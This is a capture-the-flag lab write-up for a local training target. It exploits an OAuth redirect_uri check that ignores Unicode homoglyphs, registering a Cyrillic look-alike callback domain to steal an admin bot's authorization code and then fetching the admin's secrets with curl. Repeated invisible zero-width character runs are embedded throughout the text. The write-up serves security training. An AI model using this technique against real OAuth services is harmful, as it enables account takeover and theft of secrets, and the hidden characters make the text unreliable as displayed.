← Back to Writeups
CUSTOMMediumWeb

Lab 348 — Connectify — IDN Homograph OAuth Open Redirect

XESXOR9/10/20264 min read
#web#custom#medium#api_secret_exfiltration#authorization_code_theft#idn_homograph_attack#oauth_redirect_uri_bypass#token_exchange#linux

Lab 348 — Connectify — IDN Homograph OAuth Open Redirect

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-08 | Status: Solved Techniques: api_secret_exfiltration, authorization_code_theft, idn_homograph_attack, oauth_redirect_uri_bypass, token_exchange

Summary

Task: OAuth gateway platform with redirect_uri validation that checks protocol and TLD format but does not normalize Unicode characters. Solution: register OAuth app with IDN homograph redirect_uri (Cyrillic і U+0456 instead of Latin i), trick admin bot into authorizing, steal auth code from Authorization Log, exchange for token, access admin secrets.

Lab 348 — Connectify — IDN Homograph OAuth Open Redirect — HackAdvisor

Description

Connectify is a unified API gateway platform where developers can register OAuth applications, manage API keys, and integrate with third-party services. The platform includes a Developer Portal where you can create and manage OAuth apps with custom callback URLs. An admin user regularly reviews and authorizes OAuth integration requests submitted through the Report URL feature. The platform enforces URL validation on OAuth redirect URIs to prevent open redirect attacks. Explore the OAuth implementation and see if the authorization flow properly handles all edge cases in redirect URI validation. Can you find a way to steal the admin's authorization code and access their secrets? ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An OAuth 2.0 gateway platform where developers register apps with callback URLs. The redirect_uri validation checks protocol and domain format but fails to normalize Unicode characters. An admin bot visits reported URLs and authorizes OAuth apps. The goal is to bypass redirect_uri validation to steal the admin's authorization code and access their secrets.

Credentials: user@test.com / password123

Analysis

Reconnaissance

After logging in with provided credentials, the platform exposes several features: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Dashboard — Overview of registered OAuth apps and API keys
  2. OAuth Apps (/developer/apps) — Register and manage OAuth applications
  3. API Keys — Manage API access keys
  4. Docs — API documentation describing the OAuth 2.0 flow
  5. Report (/report) — Submit a URL for admin review (admin bot visits and clicks "Authorize" on OAuth consent pages)

An existing OAuth app "TechCraft Dashboard" is already registered with:

  • client_id: b42ce708-3852-4200-91a9-7ebdfef57ba8
  • redirect_uri: https://dashboard.techcraft.io/callback ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

OAuth 2.0 Authorization Code Flow

The platform implements a standard OAuth 2.0 Authorization Code flow:

EndpointMethodPurpose
/oauth/authorizeGETShows consent screen with app details and requested scopes
/oauth/authorizePOSTaction=approve issues auth code, redirects to redirect_uri?code=...
/oauth/tokenPOSTExchanges auth code + client_secret for access token
/api/me/secretsGETReturns user's secrets (requires secrets scope and Bearer token)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Identifying the Vulnerability — IDN Homograph Attack

The redirect_uri validation during OAuth app registration enforces:

  • ✅ Valid protocol (HTTP or HTTPS)
  • ✅ Valid domain format (must contain a dot / TLD)
  • ❌ No Unicode normalization — Cyrillic and other homoglyphs pass validation

This means visually identical but technically different domain names are accepted:

DomainCharactersUnicode
connectify.ioLatin iU+0069
connectіfy.ioCyrillic іU+0456
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

These two domains look identical to the human eye but resolve to completely different hosts. The Cyrillic version resolves to punycode xn--connectfy-19h.io — a domain an attacker could register.

Solution

Step 1: Register Malicious OAuth App

Register a new OAuth application with a homograph redirect_uri:

  • App name: TestApp
  • Redirect URI: https://connectіfy.io/callback (Cyrillic і U+0456 instead of Latin i)
  • Scopes: profile, secrets

The validation accepts this because connectіfy.io has a valid protocol and TLD structure. The app receives:

  • client_id: dceabf85-46b3-418b-835c-eda5ef7a0fe0
  • client_secret: cs_598be00d65769f03515068124efb70bc87e63ae246c44a058fd256005629de08 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Craft and Submit OAuth Authorization URL

Build the authorization URL with the malicious app's client_id and the homograph redirect_uri:

http://localhost:8080/oauth/authorize?client_id=dceabf85-46b3-418b-835c-eda5ef7a0fe0&redirect_uri=https%3A%2F%2Fconnect%D1%96fy.io%2Fcallback&response_type=code&scope=profile,secrets&state=x

Note: %D1%96 is the URL-encoded form of Cyrillic і (U+0456).

Submit this URL via POST /report for admin review. The admin bot (Sarah Chen / admin@connectify.io) visits the page and clicks "Authorize". ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Retrieve Admin's Auth Code

The server issues an auth code and redirects to https://connectіfy.io/callback?code=.... Since this is a non-existent domain, the redirect fails — but the auth code is logged in the app's Authorization Log.

Check the OAuth app's Authorization Log page at /developer/apps/6:

Sarah Chen (admin@connectify.io) — Code: acbb06f595c52ab570d266d746720b2bca703b88112978d7

Step 4: Exchange Auth Code for Access Token

bash
curl -s -X POST "$URL/oauth/token" \
  -d "client_id=dceabf85-46b3-418b-835c-eda5ef7a0fe0" \
  -d "client_secret=cs_598be00d65769f03515068124efb70bc87e63ae246c44a058fd256005629de08" \
  -d "code=acbb06f595c52ab570d266d746720b2bca703b88112978d7" \
  -d "grant_type=authorization_code"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{
  "access_token": "at_2674553ec966f6fd30bc03f6b89e4f12a34ff3bea8b27abb771420a5be0a5395",
  "token_type": "Bearer",
  "expires_in": 3600,
  "scope": "profile,secrets"
}

Step 5: Access Admin's Secrets

bash
curl -s "$URL/api/me/secrets" \
  -H "Authorization: Bearer at_2674553ec966f6fd30bc03f6b89e4f12a34ff3bea8b27abb771420a5be0a5395"

The response contains the flag in the platform_master_key field. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍